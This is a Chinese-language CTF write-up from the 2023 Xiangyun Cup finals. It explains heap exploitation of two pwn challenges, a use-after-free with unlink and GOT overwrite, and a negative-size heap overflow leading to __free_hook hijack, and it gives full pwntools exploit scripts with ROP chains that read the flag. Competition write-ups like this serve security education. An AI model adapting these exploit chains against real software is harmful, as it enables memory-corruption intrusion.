2023 祥云杯总决赛 部分Writeup

是谁第一天AWDP五道题修了四道只做了一道,被第一甩下2w5的分差

是谁第二天CTF七道题就做了一道,中午就给自己下班

这些都在祥云杯摆烂大舞台,意外的拿了个第五

ahead

一个常见的菜单堆,但是最关键的malloc和free函数被重写了,漏洞点是简单的UAF,未开启pie,没有show功能

实际malloc和free被加了非常多的花指令混淆,具体代码逻辑现场感觉赶不上详细逆向了,因此需要猜逻辑

free后任意大小的chunk都由同一个双向循环链表链接,类似于unsortedbin,但是没有free_chunk切割机制,仅匹配size对应的chunk

存在prev_size以及类似ptmalloc的flag位,但是实际暂时无法实现free_chunk合并以及整理

既然是双链表,那么基本90%的漏洞都在unlink的时候导致,但是缺少show功能导致信息泄漏困难,因此需要合理的布置堆风水

由于heap_list以及unsortedbin链表的链表头都保存在bss段上,因此可以用chunk_list中存储的chunk指针实现unlink链表检测的绕过

但是直接这样修改会报出一个Size Check!错误,显然是双向循环链表检测机制满足了而某个size位没有

 

经过一定的尝试,发现会检测链表指向地址-0x8处是否为一个合法的size,这对于bss段上的链表头同样适用

解决方法是通过分配全部chunk,将chunk_list的前两个chunk指针作为伪造的unlink节点,-0x8地址出刚好就是存储的size_list,绕过了size检测

通过新建chunk来unlink,可以将chunk_list中的指针指向chunk_list自身,edit修改chunk_list中的内容为目标指针后再次edit可以实现任意地址读写

但是本题没有show功能,需要寻找方法来泄漏libc地址,并且由于未开启pie保护,任意读写的范围局限在程序段上,

发现未开启got表保护,并且注意到fprintf第一个参数为stderr,因此选择将stderr指向got表并将fprintf指向puts函数

由于fprintf为报错触发执行,所有的fprintf后都跟着exit函数,因此也需要将exit指向alarm来避免程序退出,触发报错泄漏libc地址

有了libc地址后,再次泄漏environ处的栈地址,计算偏移后将ROP链写入栈并劫持程序流

(赛后有师傅提到可以修改atoi为printf,来将后续问题转化为格式化字符串)

EXP:

from pwn import*
r=remote("172.16.9.4",9097)
#r=process('./pwn')
context.log_level='debug'

def new(size,content):
r.recvuntil(": ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(size))
r.recvuntil(": ")
r.send(content)

def delete(idx):
r.recvuntil(": ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(idx))

def edit(idx,content):
r.recvuntil(": ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(idx))
r.recvuntil(": ")
r.send(content)

def gift():
r.recvuntil(": ")
r.sendline("4097")

new(0xC8,"\n")

delete(0)

new(0xC8,"\n")

for i in range(0xC): new(0xC8,"\n")
new(0x20,"\n")

delete(0)
delete(0)

edit(0,p64(0x60a260)+p64(0x60a260))

new(0xC8,"\n")

edit(1,p64(0)+p64(0x60a260)+p64(0x60a140))
edit(2,p64(0x60a0a8))

edit(1,p64(0)+p64(0x60a260)+p64(0x60a078))
edit(2,p64(0x400910))

edit(1,p64(0)+p64(0x60a260)+p64(0x60a0b0))
edit(2,p64(0x400900))

r.recvuntil(": ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(0xC8))

libc=ELF("./libc-2.23.so")

libc_base=u64(r.recvuntil("\n",drop=True)+p16(0))-libc.sym["atol"]
success("libc_base: "+hex(libc_base))
r.recvuntil(": ")
r.send("\n")

edit(1,p64(0)+p64(0x60a260)+p64(0x60a140))
edit(2,p64(libc_base+libc.sym["environ"]))

r.recvuntil(": ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(0xC8))

stack=u64(r.recvuntil("\n",drop=True)+p16(0))-0x200+0x40+0x80
success("stack: "+hex(stack))
r.recvuntil(": ")
r.send("\n")

pop_rdi=libc_base+0x21102
pop_rsi=libc_base+0x202e8
pop_rdx=libc_base+0x1b92

payload=p64(pop_rdi)+p64(0x60a278)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x60a260)+p64(pop_rdx)+p64(0x50)+p64(libc_base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])

edit(1,p64(0)+p64(0x60a260)+p64(stack)+"flag\x00")
#gdb.attach(r,"b *"+str(pop_rdi))
edit(2,"a"*0x10+payload)

r.interactive()

note

一个小游戏开始,前0xF个异或0x11和循环变量i即可,第0x10个元素需要满足前0xF个加自身为uint8_t的0

urandom作srand种子随机生成十个字节作为xor_key,为后面堆的内容作异或加密

一个没有edit的菜单堆,在new功能中存在一个为创建chunk时的size添加rand()%0x20+1的可选项,那么大概率漏洞点就在这里\

通过多次尝试,发现在创建size=0x8的chunk时经常crash,仔细调试后发现rand()%0x20+1的值有些时候会是4字节长度的负数

由于size很小,相加后仍然是负数,导致malloc了一个负数size的chunk导致crash

如图中eax=0x23为用户输入size,edx=0xffffffe4为rand()%0x20+1计算结果,相加即为实际分配chunk的size

那么就可以精准控制size大小,实现一个堆溢出,简单尝试后发现size=0x24-0x28时最容易触发堆溢出

由于使用read读取并且没有末尾加\x00,通过free某个chunk后再次分配可以获取libc地址,heap地址以及计算出xor_key

由于堆溢出的随机性,溢出修改下方chunk的size时多覆盖几个字节,循环检测下一个chunk的内容,若能匹配多出的覆盖内容则说明覆盖成功,否则继续覆盖

本题对堆风水要求比较高,需要实际调试

EXP:

from pwn import*
r=remote("172.20.2.1",9007)
#r=process('./note')
context.log_level='debug'

libc=ELF("./libc-2.31.so")

r.recvuntil(">> ")
r.sendline("1")

r.recvuntil(": ")
raw_str = r.recvuntil("\n",drop=True)
r.recvuntil(": ")

num_list=[]
for i in range(0, len(raw_str), 2):
	num_list.append(int(raw_str[i:i+2],16))

total=0
for i in range(len(num_list)-1):
	num_list[i]=num_list[i]^0x11^i
	total+=num_list[i]
	r.send(hex(num_list[i])[2:].rjust(2,"0"))


r.sendline(hex(0x100-(total&0xFF))[2:].rjust(2,"0"))

def new(size,content,mode):
	r.recvuntil(">> ")
	r.sendline("2")
	r.recvuntil(": ")
	r.sendline(str(mode))
	r.recvuntil(": ")
	r.sendline(str(size))
	r.recvuntil(": ")
	r.send(content)

def show(idx):
	r.recvuntil(">> ")
	r.sendline("3")
	r.recvuntil(": ")
	r.sendline(str(idx))

def delete(idx):
	r.recvuntil(">> ")
	r.sendline("4")
	r.recvuntil(": ")
	r.sendline(str(idx))

new(0x417,"\n",0)
new(0x47,"\n",0)
new(0x47,"\n",0)

delete(0)
new(0x417,"a"*0x8,0)
show(0)

r.recvuntil("a"*0x8)
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-libc.sym["__malloc_hook"]-0x70
success("libc_base: "+hex(libc_base))

delete(1)
delete(2)
new(0x47,"\x10",0)
show(1)

r.recvuntil(": ")
heap=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x610
success("heap: "+hex(heap))

new(0x47,"a"*0x28,0)

delete(2)
new(0x47,"a"*0x18,0)
show(2)

xor_key=[0,0]
r.recvuntil("a"*0x18)
xor_key_raw=r.recv(16)
xor_key[0]=u64(xor_key_raw[8:])^0x6161616161616161
xor_key[1]=u64(xor_key_raw[:8])^0x6161616161616161
success("xor_key0: "+hex(xor_key[0]))
success("xor_key1: "+hex(xor_key[1]))

def enc(data_raw):
	data=""
	for i in range(0,len(data_raw),0x8):
		data+=p64(u64(data_raw[i:i+0x8].ljust(0x8,"\x00"))^xor_key[i//0x8&1])
	return data[0:len(data_raw)]

new(0x17,"\n",0)
new(0x17,"\n",0)
new(0x67,"\n",0)
new(0x417,"\n",0)
new(0x67,"\n",0)

delete(3)

payload="a"*0x18+p64(0x4b1)+p32(0x62626262)
while (True):
	show(4)
	if(r.recvline().find("bbbb")!=-1): break
	delete(1)
	new(0x23,enc(payload),1)


delete(4)
new(0x17,"\n",0)
new(0x67,"\n",0)

delete(3)
delete(7)
delete(5)

payload="a"*0x18+p64(0x71)+p64(libc_base+libc.sym["__free_hook"])
while (True):
	show(4)
	if(r.recvline().find(p64(libc_base+libc.sym["__free_hook"])[:6])!=-1): break
	delete(2)
	new(0x27,enc(payload),1)

#0x00000000001518b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget=libc_base+0x1518b0
pop_rdi=libc_base+0x23b72
pop_rsi=libc_base+0x2604f
pop_rdx_r12=libc_base+0x119241

new(0x67,"\n",0)

delete(0)

new(0x67,enc(p64(gadget)),0)

payload=""
payload+=p64(0x0067616c66)+p64((heap+0x2a0))
payload=payload.ljust(0x20,"\x00")
payload+=p64((libc_base+libc.sym["setcontext"]+61))
payload=payload.ljust(0xa0,"\x00")
payload+=p64(heap+0x3a0)+p64((pop_rdi+1))
payload=payload.ljust(0x100,"\x00")
payload+=p64(pop_rdi)+p64((heap+0x2a0))+p64(pop_rsi)+p64(0)+p64((libc_base+libc.sym["open"]))
payload+=p64(pop_rdi)+p64((3))+p64(pop_rsi)+p64(heap)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64((libc_base+libc.sym["read"]))
payload+=p64(pop_rdi)+p64((1))+p64((libc_base+libc.sym["write"]))

new(0x417,enc(payload),0)
new(0x417,enc(payload),0)

#gdb.attach(r)

delete(7)

r.interactive()

附件下载

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇